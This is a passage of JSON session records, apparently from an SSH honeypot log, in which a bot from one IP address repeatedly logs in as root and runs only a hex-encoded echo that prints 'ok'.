  "id": "5cc22521-5d80-45c9-ac6e-e8fead4981cd",
  "name": "somber-upland-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53584,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:54.724123+00:00",
  "ended_at": "2026-08-23T09:11:56.466122+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9fe47808-4c97-4597-85d8-9412c70d5d01",
  "name": "jovial-misty-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53576,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:52.613293+00:00",
  "ended_at": "2026-08-23T09:11:54.090133+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "41dfbb50-6f9e-4fb1-ae59-b0be71173acc",
  "name": "autumn-airy-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53562,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:49.749166+00:00",
  "ended_at": "2026-08-23T09:11:51.797999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7374968b-5250-407f-9367-c1e595346674",
  "name": "cheerful-ivory-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50452,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:47.619524+00:00",
  "ended_at": "2026-08-23T09:11:49.068002+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "23b37f39-e0c4-4d0f-92dc-f056a0e9aad8",
  "name": "sleepy-rambling-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50442,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:45.413400+00:00",
  "ended_at": "2026-08-23T09:11:46.979139+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "798d7399-6005-4b70-9e43-20d5f6b647d9",
  "name": "plush-snowy-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50432,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:42.832897+00:00",
  "ended_at": "2026-08-23T09:11:44.733726+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5ad6857f-e634-4b3f-b536-ef7e65235e82",
  "name": "nimble-tranquil-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50422,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:40.328677+00:00",
  "ended_at": "2026-08-23T09:11:42.079218+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "acc83bbb-94b0-47a6-9e44-28d2644d833e",
  "name": "painted-buoyant-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47414,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:38.617959+00:00",
  "ended_at": "2026-08-23T09:11:39.631267+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "64fe440a-3a14-4a40-a952-34acb4cf6ebb",
  "name": "hollow-umber-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47408,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:37.002271+00:00",
  "ended_at": "2026-08-23T09:11:37.952127+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "385ae030-77c6-4e3d-821c-a813b0826f0b",
  "name": "cheerful-frosty-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47402,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:33.995971+00:00",
  "ended_at": "2026-08-23T09:11:36.188183+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f6064980-fde1-4496-9e6d-251473036896",
  "name": "honest-valiant-alpaca",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47400,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:32.407359+00:00",
  "ended_at": "2026-08-23T09:11:33.331325+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9ab17cd0-c69e-441a-9521-223f8696c88c",
  "name": "earnest-grumpy-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47386,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:30.224580+00:00",
  "ended_at": "2026-08-23T09:11:31.668196+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "062903cf-c1a3-452e-8ee0-51ce063156b3",
  "name": "ashen-northern-toucan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33230,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:28.684322+00:00",
  "ended_at": "2026-08-23T09:11:29.616175+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8125db63-6360-4012-a134-aec856203060",
  "name": "brave-jaunty-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33214,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:26.940172+00:00",
  "ended_at": "2026-08-23T09:11:28.046699+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b25c8090-2c69-4023-ae4c-76327eea8970",
  "name": "northern-vivid-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33200,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:24.435430+00:00",
  "ended_at": "2026-08-23T09:11:26.166349+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1fdc438c-3dbc-4e00-af54-74b3a4f7adaf",
  "name": "hushed-nimble-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33196,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:22.373081+00:00",
  "ended_at": "2026-08-23T09:11:23.674901+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "54428efa-b96a-4a7e-88b6-bac988a30a40",
  "name": "prairie-gnarled-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33188,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:19.886280+00:00",
  "ended_at": "2026-08-23T09:11:21.570152+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b517fef2-c6c1-47eb-a58e-6232090995c8",
  "name": "whispering-hazel-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41130,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:17.995068+00:00",
  "ended_at": "2026-08-23T09:11:19.075178+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e3372592-63bd-452a-9fe9-255550b5fbea",
  "name": "curious-restless-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41124,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:15.859806+00:00",
  "ended_at": "2026-08-23T09:11:17.382132+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "10ae3d5c-c9e9-46dc-b920-36d23ae496bd",
  "name": "proud-balmy-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41122,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:13.963030+00:00",
  "ended_at": "2026-08-23T09:11:15.113847+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fba8dd05-5ec4-43fe-ac78-671e5303727f",
  "name": "dapper-mossy-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41120,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:11.931438+00:00",
  "ended_at": "2026-08-23T09:11:13.225270+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "df46e966-99fb-43e2-94bb-e2fe3e304e26",
  "name": "emerald-salty-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41116,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:09.271110+00:00",
  "ended_at": "2026-08-23T09:11:11.209598+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9a658324-dc27-4e57-9ddb-db2d6049fbb7",
  "name": "fabled-jagged-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41688,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:06.571372+00:00",
  "ended_at": "2026-08-23T09:11:08.480000+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "190da669-a56c-45da-a8e1-76b944b81a46",
  "name": "cunning-brave-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41684,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:04.176585+00:00",
  "ended_at": "2026-08-23T09:11:05.938830+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e1310d14-7709-4429-8e50-7005cf31d593",
  "name": "loyal-genial-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41678,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:11:01.573809+00:00",
  "ended_at": "2026-08-23T09:11:03.376138+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4a75d302-304e-4a66-aa75-094c7cdcedf6",
  "name": "alpine-canny-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40650,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:10:58.535746+00:00",
  "ended_at": "2026-08-23T09:11:00.810678+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "03bd1ae7-c7f2-4d1d-8b5e-1fd0360feda7",
  "name": "weathered-scarlet-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40644,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:10:56.439083+00:00",
  "ended_at": "2026-08-23T09:10:57.883771+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9605d5b2-66da-4c1c-b6e5-729231a5f10b",
  "name": "rugged-lucid-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40632,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:10:54.750040+00:00",
  "ended_at": "2026-08-23T09:10:55.629206+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "32413a92-25fb-456d-8b18-93b21a003d52",
  "name": "drifting-coastal-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40626,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:10:51.983330+00:00",
  "ended_at": "2026-08-23T09:10:54.028965+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cd8e9ce4-ac51-42b0-9c24-dd97df7e74a1",
  "name": "ancient-alpine-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40610,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:10:49.695193+00:00",
  "ended_at": "2026-08-23T09:10:51.203125+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ed2b7daa-05e5-4112-976d-58b55f2eb4f0",
  "name": "sullen-smooth-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56924,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:10:47.256006+00:00",
  "ended_at": "2026-08-23T09:10:48.979886+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "64f5653a-6fa7-4567-9d5b-a16dc80ef6e9",
  "name": "courtly-eager-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56918,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:10:45.430225+00:00",
  "ended_at": "2026-08-23T09:10:46.549339+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7bc312d8-dc22-45a6-b207-dc27579bc9f4",
  "name": "languid-austere-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56904,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:10:42.662764+00:00",
  "ended_at": "2026-08-23T09:10:44.632805+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c61071ae-e672-47ae-bf39-90a5894b0ddc",
  "name": "eager-dewy-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56888,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:10:40.447303+00:00",
  "ended_at": "2026-08-23T09:10:41.915799+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4e032a08-91b2-4767-a6d3-8f5fc63d65ad",
  "name": "chilly-tender-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35278,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:10:38.588662+00:00",
  "ended_at": "2026-08-23T09:10:39.625722+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "01d90570-be03-4631-b639-a5af31a6434f",
  "name": "watchful-sandy-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35272,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:10:35.998251+00:00",
  "ended_at": "2026-08-23T09:10:37.871881+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9219d619-9e29-4b7c-9824-dfbd04ea4222",
  "name": "jovial-ginger-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35270,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:10:33.352345+00:00",
  "ended_at": "2026-08-23T09:10:35.266838+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b0d1174c-659c-4309-8b8a-58386e955699",
  "name": "prairie-upland-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35258,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:10:31.231088+00:00",
  "ended_at": "2026-08-23T09:10:32.748201+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "70ee7b24-a872-4c86-86c7-1f21ae3c33f0",
  "name": "autumn-prickly-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35250,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:10:29.251268+00:00",
  "ended_at": "2026-08-23T09:10:30.524527+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2ce9cc15-1f24-4299-8fe0-ea1c7fca24da",
  "name": "marbled-sandy-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33344,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:10:26.633590+00:00",
  "ended_at": "2026-08-23T09:10:28.628911+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fe06fc6c-5b37-4b37-b6a1-1873db689341",
  "name": "mellow-sleepy-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33340,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:10:24.076779+00:00",
  "ended_at": "2026-08-23T09:10:25.965335+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d9ee7130-fb01-438b-8f98-7f365439a1a3",
  "name": "fleeting-wiry-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33324,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:10:21.277309+00:00",
  "ended_at": "2026-08-23T09:10:23.394571+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "54734005-2b1c-454c-9551-495ad98be7a9",
  "name": "gritty-lawful-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33310,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:10:18.915080+00:00",
  "ended_at": "2026-08-23T09:10:20.496228+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "57b12987-ccca-4efc-a68d-3c8e32243260",
  "name": "deft-jaunty-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47102,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:10:16.602701+00:00",
  "ended_at": "2026-08-23T09:10:18.246020+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "07f96267-a66a-44bf-b28d-0343f9f5a8fc",
  "name": "hidden-rustic-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47094,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:10:14.496274+00:00",
  "ended_at": "2026-08-23T09:10:15.992620+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "79f5292c-c5cd-4c8b-8abb-88abe9d06087",
  "name": "marine-russet-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47090,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:10:11.773346+00:00",
  "ended_at": "2026-08-23T09:10:13.709593+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "73047c9b-8ebd-46d7-956f-adc222933651",
  "name": "burly-hazel-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47078,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:10:09.112118+00:00",
  "ended_at": "2026-08-23T09:10:11.033021+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "201f5a4f-68fa-46b2-929f-d7f5a867dfe7",
  "name": "fearless-cheerful-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 32892,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:10:06.742058+00:00",
  "ended_at": "2026-08-23T09:10:08.328793+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "df935d33-df64-425b-9881-8c5c10764535",
  "name": "creaky-foggy-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 32888,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:10:03.806308+00:00",
  "ended_at": "2026-08-23T09:10:06.046891+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "64321063-906e-4615-b84b-32a667caf617",
  "name": "alpine-wandering-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
